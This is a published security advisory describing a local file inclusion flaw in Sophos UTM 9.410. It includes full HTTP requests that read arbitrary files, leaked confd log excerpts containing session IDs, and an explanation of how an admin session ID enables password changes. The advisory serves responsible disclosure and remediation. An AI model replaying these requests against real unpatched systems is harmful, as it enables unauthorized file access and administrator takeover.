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Security Advisory

Sophos UTM 9 Management Application Local File Inclusion

Advisory ID
KL-001-2017-021
Published
2017-10-24
Vendor
Sophos

Affected Systems

Product
UTM 9
Version
9.410
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
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Vulnerability Details

Affected Vendor: Sophos
Affected Product: UTM 9
Affected Version: 9.410
Platform: Embedded Linux
CWE Classification: CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory, CWE-732: Incorrect Permission Assignment for Critical Resource, CWE-532: Insertion of Sensitive Information into Log File
Impact: Information Disclosure
Attack Vector: HTTP

Vulnerability Description

Any user is has log viewing rights provisioned can read arbitrary files from the local filesystem as a limited privilege user. This can be used to read the confd log file and obtain root privilege SID values.

Technical Description

Any user who has permission to access the ‘Logging & Reporting’ functionality within the management application can read arbitrary files.

	POST /webadmin.plx HTTP/1.1
	Host: 1.3.3.7:4444
	Accept-Language: en-US,en;q=0.5
	X-Requested-With: XMLHttpRequest
	X-Prototype-Version: 1.5.1.1
	Content-Type: application/json; charset=UTF-8
	Content-Length: 313
	Cookie: SID=SoCKGdoKFmeobxZTEWDz
	DNT: 1
	Connection: close

	{"objs": [{"filename": "/var/log/confd.log", "FID": "log_download_single"}], "SID": "SoCKGdoKFmeobxZTEWDz", "browser": "gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID": "1491835733989_0.7813499665507969", "current_uuid": "189fb61e-e01b-11da-8017-0014221e9eba", "ipv6": false}
	HTTP/1.1 200 OK
	Date: Mon, 10 Apr 2017 07:49:51 GMT
	Server: Apache
	Expires: Thursday, 01-Jan-1970 00:00:01 GMT
	Pragma: no-cache
	X-Frame-Options: SAMEORIGIN
	X-Content-Type-Option: nosniff
	X-XSS-Protection: 1; mode=block
	Vary: Accept-Encoding
	Connection: close
	Content-Type: application/json; charset=utf-8
	Content-Length: 605

	{"SID":"SoCKGdoKFmeobxZTEWDz","ipv6":false,"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","browser":"gecko","RID":"1491835733989_0.7813499665507969","js":"if($(\"topbar_icon\")){$(\"topbar_icon\").src=\"core/img/topbar/topbar_user.png\";}toggle_who_is_watching(0);","backend_version":"2","loc":"english","globals_data":["SoCKGdoKFmeobxZTEWDz"],"globals":["SID"],"objs":[{"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","FID":"log_download_single","filename":"/var/log/confd.log","js":"start_download('var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log');"}],"_cookie":null,"wdebug":0}

The start_download() function is JavaScript loaded into the browser. This function takes the given parameter and uses it to build the subsequent HTTP GET request.

	GET /var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log HTTP/1.1
	Host: 1.3.3.7:4444
	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Referer: https://1.3.3.7:4444/
	Cookie: SID=SoCKGdoKFmeobxZTEWDz
	DNT: 1
	Connection: close
	Upgrade-Insecure-Requests: 1
	HTTP/1.1 200 OK
	Date: Mon, 10 Apr 2017 07:51:02 GMT
	Server: Apache
	X-Frame-Options: SAMEORIGIN
	X-Content-Type-Option: nosniff
	X-XSS-Protection: 1; mode=block
	Cache-Control: max-age=31536000
	Expires: Tue, 10 Apr 2018 07:51:02 GMT
	Vary: Accept-Encoding
	Connection: close
	Content-Type: text/plain; charset=utf-8
	Content-Length: 2595127

	2017:04:02-00:00:01 hostname confd[28056]: D Role::authenticate:185() => id="3106" severity="debug" sys="System" sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv" facility="system" client="ips-reporter.pl" call="new"<31>Apr  2 00:00:01 confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none" method="get_SID"
	2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none" method="signal_unsubscribe"
	2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none" method="logout"
	2017:04:02-00:00:01 hostname confd[28056]: D Session::terminate:290() => id="3100" severity="debug" sys="System" sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv" facility="system" client="ips-reporter.pl" call="logout" function="logout"
	2017:04:02-00:00:01 hostname confd[28056]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd" name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl"
	2017:04:02-00:00:01 hostname confd[28070]: D Role::authenticate:185() => id="3106" severity="debug" sys="System" sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj" facility="system" client="spx-password-expire" call="new"<31>Apr  2 00:00:01 confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none" method="get_SID"
	2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none" method="get"
	2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none" method="logout"
	2017:04:02-00:00:01 hostname confd[28070]: D Session::terminate:290() => id="3100" severity="debug" sys="System" sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj" facility="system" client="spx-password-expire" call="logout" function="logout"
	2017:04:02-00:00:02 hostname confd[28070]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd" name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire"
	2017:04:02-00:00:01 hostname confd[28083]: D Role::authenticate:185() => id="3106" severity="debug" sys="System" sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj" facility="system" client="admin-reporter.pl" call="new"<31>Apr  2 00:00:02 confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none" method="get_SID"
	2017:04:02-00:00:01 hostname confd[28086]: D Role::authenticate:185() => id="3106" severity="debug" sys="System" sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="BXeDpxEvboHeDEmaaHEY" facility="system" client="vpnreporter" call="new"<31>Apr  2 00:00:02 confd[28086]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="vpnreporter" lock="none" method="get_SID"
	2017:04:02-00:00:01 hostname confd[28088]: D Role::authenticate:185() => id="3106" severity="debug" sys="System" sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="SBggtglcePoJTWtmkIMO" facility="system" client="websecreporter" call="new"<31>Apr  2 00:00:02 confd[28088]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="websecreporter" lock="none" method="get_SID"
	2017:04:02-00:00:02 hostname confd[28086]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="vpnreporter" lock="none" method="signal_subscribe"
	2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none" method="signal_unsubscribe"
	2017:04:02-00:00:02 hostname confd[28088]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="websecreporter" lock="none" method="signal_subscribe"
	2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none" method="logout"
	2017:04:02-00:00:02 hostname confd[28083]: D Session::terminate:290() => id="3100" severity="debug" sys="System" sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj" facility="system" client="admin-reporter.pl" call="logout" function="logout"
	...
	...

The logging of ‘sid’ values is also dangerous because it leaks session identifiers who may be of higher privilege. A ‘sid’ for the admin account can be used to change the root and loginuser passwords.

Mitigation and Remediation Recommendation

The vendor has addressed this vulnerability in version 9.503. Release notes and download instructions can be found at: https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-503-released

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic submits vulnerability details to Sophos.

Sophos acknowledges receipt.

30 business days have elapsed since the vulnerability was reported to Sophos.

KoreLogic requests an update on the status of this and other vulnerabilities reported to Sophos.

Sophos informs KoreLogic that this issue has been remediated in release 9.503 for UTM.

KoreLogic public disclosure.

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Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable

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